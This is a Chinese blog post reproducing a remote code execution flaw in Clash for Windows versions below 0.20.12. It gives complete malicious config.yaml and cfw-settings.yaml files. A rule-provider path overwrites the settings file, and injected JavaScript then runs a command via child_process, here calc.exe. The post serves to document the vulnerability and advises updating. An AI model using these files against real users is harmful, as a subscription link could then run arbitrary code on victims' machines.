loading...
Clash最新漏洞复现
Published in:2023-01-17 | category: RCE

0x00前言

新年新漏洞,今天被披露的是Clash的最新RCE漏洞,趁着最近有时间复现一下并把过程记录下来。

0x01漏洞概述

Clash是一款支持Windows、macOS、Android等多平台的代理软件,支持ss/v2ray/Trojan等,类Surge配置,macOS/Windows/Android上都已经有了图形界面。

该漏洞是由于clash对订阅文件的 rule-providers 的 path 的不安全处理导致 cfw-setting.yaml 会被覆盖,cfw-setting.yaml 中 parsers 的 js代码将会被执行。

下载地址

https://github.com/Fndroid/clash_for_windows_pkg/releases

影响版本

Class for Windows < V 0.20.12V

0x02漏洞复现

1、开启一个能被外部访问的web服务,这里我选择在本地开启服务,选用的是PHPstudy,服务是apache,确保能从浏览器访问到config.yaml和cfw-settings.yaml文件

2、准备文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//config.yaml
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true

rule-providers:
p:
type: http
behavior: domain
url: "http://127.0.0.1/cfw-settings.yaml"
path: ./cfw-settings.yaml
interval: 86400
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//cfw-settings.yaml
payload:
- DOMAIN-SUFFIX,acl4.ssr,全球直连
showNewVersionIcon: true
hideAfterStartup: false
randomControllerPort: true
runTimeFormat: "hh : mm : ss"
trayOrders:
- - icon
- - status
- traffic
- text
hideTrayIcon: false
connShowProcess: true
showTrayProxyDelayIndicator: true
profileParsersText: >-
parsers:
- reg: .*
code:
module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {
require("child_process").exec("calc.exe");//通过导入child_process包执行命令
return raw;
}

重启Clash,并点击更新全部刷新一下文件,可以发现成功弹出计算器,执行了calc进程

0x03总结

解决方法就是更新到最新版本。使用机场小心为妙,不要点击不明连接,不然就成别人的挖矿工具了。

Prev:
浅谈RSA加密
Next:
JAVA反序列化利用
catalog
catalog